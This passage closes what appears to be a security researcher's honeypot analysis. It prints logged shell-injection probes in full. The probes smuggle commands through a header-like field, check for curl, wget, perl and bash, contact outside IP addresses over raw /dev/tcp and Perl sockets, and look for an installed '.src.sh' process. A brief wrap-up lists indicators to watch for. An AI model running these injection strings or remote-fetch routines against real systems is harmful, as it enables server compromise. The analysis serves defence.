[Sun Nov 28 19:14:05.110790 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:56:57.657280 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 20:00:34.841791 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; get() { read proto server path <<<$(echo ${1//// }); DOC=/${path// //}; HOST=${server//:*}; PORT=${server//*:}; [[ x"${HOST}" == x"${PORT}" ]] && PORT=80; exec 3<>/dev/tcp/${HOST}/${PORT}; printf %b "GET ${DOC} HTTP/1.0\\r\\nhost: ${HOST}\\r\\nConnection: close\\r\\n\\r\\n" >&3; (while read line; do [[ "$line" == $'\\r' ]] && break; done && cat) <&3; exec 3>&-; }; if [ ! "$(get http://94.130.181.216/test.txt 2> /dev/null)" -eq "11223344" 2> /dev/null ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 20:06:17.028826 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v timeout 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 20:08:15.277127 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; echo vulnable; get() { read proto server path <<<$(echo ${1//// }); DOC=/${path// //}; HOST=${server//:*}; PORT=${server//*:}; [[ x"${HOST}" == x"${PORT}" ]] && PORT=80; exec 3<>/dev/tcp/${HOST}/${PORT}; printf %b "GET ${DOC} HTTP/1.0\\r\\nhost: ${HOST}\\r\\nConnection: close\\r\\n\\r\\n" >&3; (while read line; do [[ "$line" == $'\\r' ]] && break; done && cat) <&3; exec 3>&-; }; if [ ! "$(timeout 5 get http://94.130.181.216/test.txt 2> /dev/null)" -eq "11223344" 2> /dev/null -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi
[Sun Nov 28 20:24:13.153432 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; echo vulnable; get() { read proto server path <<<$(echo ${1//// }); DOC=/${path// //}; HOST=${server//:*}; PORT=${server//*:}; [[ x"${HOST}" == x"${PORT}" ]] && PORT=80; exec 3<>/dev/tcp/${HOST}/${PORT}; printf %b "GET ${DOC} HTTP/1.0\\r\\nhost: ${HOST}\\r\\nConnection: close\\r\\n\\r\\n" >&3; (while read line; do [[ "$line" == $'\\r' ]] && break; done && cat) <&3; exec 3>&-; }; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi
[Sun Nov 28 20:25:06.378246 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; echo vulnable; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi
[Sun Nov 28 20:26:26.246581 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; echo vulnable; get() { read proto server path <<<$(echo ${1//// }); DOC=/${path// //}; HOST=${server//:*}; PORT=${server//*:}; [[ x"${HOST}" == x"${PORT}" ]] && PORT=80; exec 3<>/dev/tcp/${HOST}/${PORT}; printf %b "GET ${DOC} HTTP/1.0\\r\\nhost: ${HOST}\\r\\nConnection: close\\r\\n\\r\\n" >&3; (while read line; do [[ "$line" == $'\\r' ]] && break; done && cat) <&3; exec 3>&-; }; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi
[Sun Nov 28 20:36:50.047761 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 20:39:29.171795 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v perl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 23:37:29.866905 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;a=$(echo "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr=>'94.130.181.216',PeerPort =>'80',Proto => 'tcp');die \\"Could not create socket: \\$!\\\\n\\" unless \\$sock;print \\$sock \\"GET /test.txt HTTP/1.0\\\\r\\\\n\\\\r\\\\n\\";my \\$a=0;while( \\$line = <\\$sock>) { print \\$line if(\\$a > 0); \\$a = 1 if(\\$line eq \\"\\\\r\\\\n\\");} close(\\$sock);" | timeout 5 perl);if [ ! "$a" -eq "11223344" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:01:19.183357 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;a='00000000';if [ "$(command -v curl 2> /dev/null)" ]; then echo 'curl';a=$(timeout 5 curl -s http://94.130.181.216/test.txt 2> /dev/null); else if [ "$(command -v wget 2> /dev/null)" ]; then echo 'wget';a=$(timeout 5 wget http://94.130.181.216/test.txt -qO- 2> /dev/null); else if [ "$(command -v perl 2> /dev/null)" ]; then echo 'perl';a=$(echo "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr=>'94.130.181.216',PeerPort =>'80',Proto => 'tcp');die \\"Could not create socket: \\$!\\\\n\\" unless \\$sock;print \\$sock \\"GET /test.txt HTTP/1.0\\\\r\\\\n\\\\r\\\\n\\";my \\$a=0;while( \\$line = <\\$sock>) { print \\$line if(\\$a > 0); \\$a = 1 if(\\$line eq \\"\\\\r\\\\n\\");} close(\\$sock);" | timeout 5 perl); else echo 'No cmd'; fi; fi; fi; if [ ! "$a" -eq "11223344" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:03:13.009116 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v perl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:33:58.483898 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ping 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:35:08.854471 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ping 2> /dev/null)" -a ! "$(command -v ssh 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 00:36:01.589083 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ping 2> /dev/null)" -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 14:27:06.966555 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v printf 2> /dev/null)" -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Mon Nov 29 23:57:31.374578 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;a='00000000';if [ "$(command -v curl 2> /dev/null)" ]; then echo 'curl';a=$(timeout 5 curl -s http://49.12.205.171/test.txt 2> /dev/null); else if [ "$(command -v wget 2> /dev/null)" ]; then echo 'wget';a=$(timeout 5 wget http://49.12.205.171/test.txt -qO- 2> /dev/null); else if [ "$(command -v perl 2> /dev/null)" ]; then echo 'perl';a=$(echo "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr=>'49.12.205.171',PeerPort =>'80',Proto => 'tcp');die \\"Could not create socket: \\$!\\\\n\\" unless \\$sock;print \\$sock \\"GET /test.txt HTTP/1.0\\\\r\\\\n\\\\r\\\\n\\";my \\$a=0;while( \\$line = <\\$sock>) { print \\$line if(\\$a > 0); \\$a = 1 if(\\$line eq \\"\\\\r\\\\n\\");} close(\\$sock);" | timeout 5 perl); else echo 'No cmd'; fi; fi; fi; if [ ! "$a" -eq "11223344" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 12:59:49.905673 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:00:39.022332 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ps 2> /dev/null)" -a ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:02:54.018345 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:03:57.133784 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:04:28.236658 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v perl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:05:51.286147 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Tue Nov 30 13:32:15.602743 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; uname -m;echo vulnable
[Tue Nov 30 14:35:40.549398 2021] A=|echo;echo vulnable
[Tue Nov 30 14:56:27.461472 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; uname -m;echo vulnable
[Tue Nov 30 15:54:28.092976 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { if [ "$(command -v ps 2> /dev/null)" ]; then ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null; else if [ "$(command -v pgrep 2> /dev/null)" ]; then pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null; else if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done; else printf %b "0\\n"; fi; fi; fi; }; netfunc() { cmd=""; ret=1; if [ "$(command -v timeout 2> /dev/null)" ]; then cmd="timeout $3"; fi; if [ "$(command -v curl 2> /dev/null)" ]; then cmd="$cmd curl --connect-timeout $3 -s $1:$2"; if [ ! -z $4 ]; then cmd="$cmd --interface $4"; fi; ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v wget 2> /dev/null)" ]; then cmd="$cmd wget --connect-timeout=$3 -qO- $1:$2"; if [ ! -z $4 ]; then cmd="$cmd --bind-address=$4"; fi; ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v perl 2> /dev/null)" ]; then bind=""; cmd="$cmd perl"; if [ ! -z $4 ]; then bind=", LocalAddr=> '$4'"; fi; ret=$(printf %s "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr => '$1', PeerPort => '$2', Proto => 'tcp' $bind);die \\"Err\\\\n\\" unless \\$sock;close(\\$sock);" | $cmd > /dev/null 2>&1; echo $?); fi; fi; fi; if [ "$ret" -eq "0" 2> /dev/null ]; then printf %b "$cmd\\n"; fi; }; if [ ! "$(psfunc '.src.sh' 2> /dev/null)" ]; then echo 'Ready'; else echo 'Already install Running'; fi; echo vulnable
[Tue Nov 30 15:54:56.728753 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { if [ "$(command -v ps 2> /dev/null)" ]; then ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null; else if [ "$(command -v pgrep 2> /dev/null)" ]; then pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null; else if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done; else printf %b "0\\n"; fi; fi; fi; }; netfunc() { cmd=""; ret=1; if [ "$(command -v timeout 2> /dev/null)" ]; then cmd="timeout $3"; fi; if [ "$(command -v curl 2> /dev/null)" ]; then cmd="$cmd curl --connect-timeout $3 -s $1:$2"; if [ ! -z $4 ]; then cmd="$cmd --interface $4"; fi; ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v wget 2> /dev/null)" ]; then cmd="$cmd wget --connect-timeout=$3 -qO- $1:$2"; if [ ! -z $4 ]; then cmd="$cmd --bind-address=$4"; fi; ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v perl 2> /dev/null)" ]; then bind=""; cmd="$cmd perl"; if [ ! -z $4 ]; then bind=", LocalAddr=> '$4'"; fi; ret=$(printf %s "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr => '$1', PeerPort => '$2', Proto => 'tcp' $bind);die \\"Err\\\\n\\" unless \\$sock;close(\\$sock);" | $cmd > /dev/null 2>&1; echo $?); fi; fi; fi; if [ "$ret" -eq "0" 2> /dev/null ]; then printf %b "$cmd\\n"; fi; }; if [ ! "$(psfunc '.src.sh' 2> /dev/null)" ]; then echo 'Ready'; else echo 'Already install Running'; fi; uname -m;echo vulnable
[Wed Dec 01 13:43:26.701088 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { if [ "$(command -v ps 2> /dev/null)" ]; then ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null; else if [ "$(command -v pgrep 2> /dev/null)" ]; then pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null; else if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done; else printf %b "0\\n"; fi; fi; fi; }; netfunc() { cmd=""; ret=1; if [ "$(command -v timeout 2> /dev/null)" ]; then cmd="timeout $3"; fi; if [ "$(command -v curl 2> /dev/null)" ]; then cmd="$cmd curl --connect-timeout $3 -s $1:$2"; if [ ! -z $4 ]; then cmd="$cmd --interface $4"; fi; ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v wget 2> /dev/null)" ]; then cmd="$cmd wget --connect-timeout=$3 -qO- $1:$2"; if [ ! -z $4 ]; then cmd="$cmd --bind-address=$4"; fi; ret=$($cmd > /dev/null 2>&1; echo $?); else if [ "$(command -v perl 2> /dev/null)" ]; then bind=""; cmd="$cmd perl"; if [ ! -z $4 ]; then bind=", LocalAddr=> '$4'"; fi; ret=$(printf %s "use IO::Socket;my \\$sock = new IO::Socket::INET(PeerAddr => '$1', PeerPort => '$2', Proto => 'tcp' $bind);die \\"Err\\\\n\\" unless \\$sock;close(\\$sock);" | $cmd > /dev/null 2>&1; echo $?); fi; fi; fi; if [ "$ret" -eq "0" 2> /dev/null ]; then printf %b "$cmd\\n"; fi; }; if [ ! "$(psfunc '.src.sh' 2> /dev/null)" ]; then echo 'Ready'; else echo 'Already install Running'; fi; uname -m;echo vulnable
Some of this code is recognizably repurposed from the encoded scripts from Nov 14. There are references to hxxp://94.130.181.216/test.txt and hxxp://49.12.205.171/test.txt, both of which currently return “11223344”. Both of these IPs are also owned by Hetzner, where all of the rest of the URLs we’ve seen have been hosted.
Wrapping Up
That was quite the twisty maze of shell code, but at the end of the analysis we have a good idea of how the suspicious processes were launched and the contents of “.src.sh”. And we have multiple still active URL paths worth monitoring for, including hxxp://rr.blueheaven.live/1010/ and hxxp://116.203.212.184/1010/. Also keep an eye out for the “.log/1010*/.spoollog” path showing up in temp directories and as the process CWD for new processes on your systems.
[…] Hudak’s Honeypot (Part 3) […]